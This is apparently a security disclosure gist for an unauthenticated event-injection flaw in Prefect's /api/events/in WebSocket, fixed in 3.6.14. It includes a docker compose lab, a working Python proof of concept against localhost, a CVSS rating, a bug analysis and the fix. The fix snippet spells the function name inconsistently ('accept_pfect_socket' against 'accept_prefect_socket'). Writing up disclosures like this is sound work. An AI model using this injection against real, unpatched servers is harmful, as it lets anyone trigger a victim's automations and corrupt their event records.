

Instantly share code, notes, and snippets.

nedlir / **REPORT.md** Secret

Created 2 weeks ago

[Code](#) [Revisions](#) 1 **compose.yaml**

```
1  services:
2    postgres:
3      image: postgres:14
4      environment:
5        POSTGRES_USER: prefect
6        POSTGRES_PASSWORD: prefect
7        POSTGRES_DB: prefect
8      volumes:
9        - postgres_data:/var/lib/postgresql/data
10     healthcheck:
11       test: ["CMD-SHELL", "pg_isready -U prefect"]
12       interval: 5s
13       timeout: 5s
14       retries: 5
15
16     prefect-server:
17       image: prefecthq/prefect:3.6.13
18       depends_on:
19         postgres:
20           condition: service_healthy
21       environment:
22         PREFECT_API_DATABASE_CONNECTION_URL: postgresql+asyncpg://prefect:prefect@postgres:5
23         PREFECT_SERVER_API_HOST: 0.0.0.0
24         PREFECT_SERVER_UI_API_URL: http://localhost:4200/api
25         PREFECT_SERVER_API_AUTH_STRING: "admin:supersecretpassword"
26       command: prefect server start
27       ports:
28         - "4200:4200"
29       healthcheck:
30         test: ["CMD", "python", "-c", "import urllib.request as u; u.urlopen('http://localho
31         interval: 30s
32         timeout: 10s
33         retries: 3
34         start_period: 60s
35
```

```
36 volumes:
37     postgres_data:
```

 poc.py

```
1  """
2  PoC: Prefect unauthenticated event injection via /api/events/in WebSocket.
3  Affected: 3.x < 3.6.14. Works even when PREFECT_SERVER_API_AUTH_STRING is set.
4
5  Deps: pip install websockets requests
6
7  Usage:
8      docker compose up -d
9      python poc.py
10 """
11
12 import asyncio
13 import json
14 import uuid
15 from datetime import datetime, timezone
16
17 import requests
18 import websockets
19
20 TARGET = "localhost:4200"
21 HTTP = f"http://{TARGET}"
22 WS_IN = f"ws://{TARGET}/api/events/in"
23
24
25 def http_auth_check():
26     r = requests.get(f"{HTTP}/api/flows", timeout=5)
27     if r.status_code != 401:
28         raise SystemExit("Auth not enabled. Set PREFECT_SERVER_API_AUTH_STRING.")
29     print(f"[+] Confirmed HTTP auth is active: GET /api/flows -> {r.status_code}")
30
31
32 async def inject_events():
33     event_id = str(uuid.uuid4())
34     event = {
35         "id": event_id,
36         "occurred": datetime.now(timezone.utc).isoformat(),
37         "event": "poc.unauthenticated.injection",
38         "resource": {
39             "prefect.resource.id": "poc.attacker",
40             "prefect.resource.name": "unauthenticated-event-injection",
41         },
42         "payload": {"note": "Injected without credentials."},
43     }
44
```

```
45     print(f"[*] Connecting to {WS_IN} with NO auth ...")
46     async with websockets.connect(WS_IN) as ws:
47         print(f"[+] Connected (no subprotocol, no token, no Authorization header).")
48         await ws.send(json.dumps(event))
49         print(f"[+] Sent event id={event_id}")
50
51     return event_id
52
53
54 def verify_ingested(event_id: str):
55     r = requests.post(
56         f"{HTTP}/api/events/filter",
57         auth=("admin", "supersecretpassword"),
58         json={"filter": {"id": {"id": [event_id]}}},
59         timeout=10,
60     )
61     if r.status_code != 200:
62         print(f"[-] Verify failed: HTTP {r.status_code} {r.text[:200]}")
63         return False
64     events = r.json().get("events", [])
65     if events:
66         print(f"[+] Server accepted the event. Stored: {events[0].get('event')}")
67         return True
68     print(f"[-] Event not found in DB (may still be propagating).")
69     return False
70
71
72 async def main():
73     http_auth_check()
74     event_id = await inject_events()
75     print(f"[*] Waiting 3s for event to propagate through the pipeline...")
76     await asyncio.sleep(3)
77     verify_ingested(event_id)
78
79
80 if __name__ == "__main__":
81     asyncio.run(main())
```

[REPORT.md](#)

Prefect Unauthenticated Event Injection via `/api/events/in` WebSocket

Field	Value
Product	Prefect (PrefectHQ/prefect)
Affected	3.x < 3.6.14
Fixed In	3.6.14
Fix Commit	f8afecadf8 (PR #20372)
CVE	None assigned
CWE	CWE-306 (Missing Authentication for Critical Function)
CVSS 3.1	7.5 High -- AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Bug

The `/api/events/in` WebSocket endpoint accepts any client without authentication, even when `PREFECT_SERVER_API_AUTH_STRING` is configured. In the pre-fix code:

```
@router.websocket("/in")
async def stream_events_in(websocket: WebSocket) -> None:
    await websocket.accept() # no auth, no subprotocol check

    async with messaging.create_event_publisher() as publisher:
        async for event_json in websocket.iter_text():
            event = Event.model_validate_json(event_json)
            await publisher.publish_event(event.receive())
```

Compare to the sibling `/api/events/out` in the same file, which correctly called `subscriptions.accept_prefect_socket(websocket)` and enforced the auth handshake. The `/in` endpoint was simply missed.

Starlette's `@app.middleware("http")` does not intercept WebSocket upgrades, so the outer `PREFECT_SERVER_API_AUTH_STRING` middleware does not cover this endpoint either.

Impact

Any network-reachable attacker can:

1. Open a WebSocket to `ws://target:4200/api/events/in` without credentials.
2. Stream arbitrary JSON events.

3. Events are published through `messaging.create_event_publisher()`, stored in the events database, and fed to the automations engine.

Prefect automations trigger on event patterns (resource ids, event names, payloads) and can run deployments, transition flow runs, pause/resume schedules, and send notifications. An attacker who knows the event patterns a target subscribes to can fire those automations remotely. Even without knowing the automations, the attacker can pollute the event log and break observability.

This is an integrity-focused vulnerability (event injection, automation triggering), not a confidentiality one.

Proof

See `poc.py`. It:

1. Confirms HTTP auth is active (`GET /api/flows -> 401`).
2. Opens `ws://localhost:4200/api/events/in` with no credentials, no subprotocol, no token.
3. Sends a crafted event.
4. Reads it back from `/api/events/filter` to confirm it was persisted.

Reproduction

```
docker compose up -d # Prefect 3.6.13 with auth enabled
pip install websockets requests
python poc.py
```

Fix (3.6.14)

PR #20372 routed `/api/events/in` through `accept_pfect_socket()`, the same auth wrapper used by `/out`:

```
@router.websocket("/in")
async def stream_events_in(websocket: WebSocket) -> None:
    websocket = await subscriptions.accept_pfect_socket(websocket)
    if not websocket:
        return
    ...
```

It also updated `accept_prefect_socket()` to enforce the `prefect` subprotocol and token-based auth when `PREFECT_SERVER_API_AUTH_STRING` is set.

Timeline

Date	Event
2026-01-26	Fix merged (PR #20372)
2026-01-27	3.6.14 released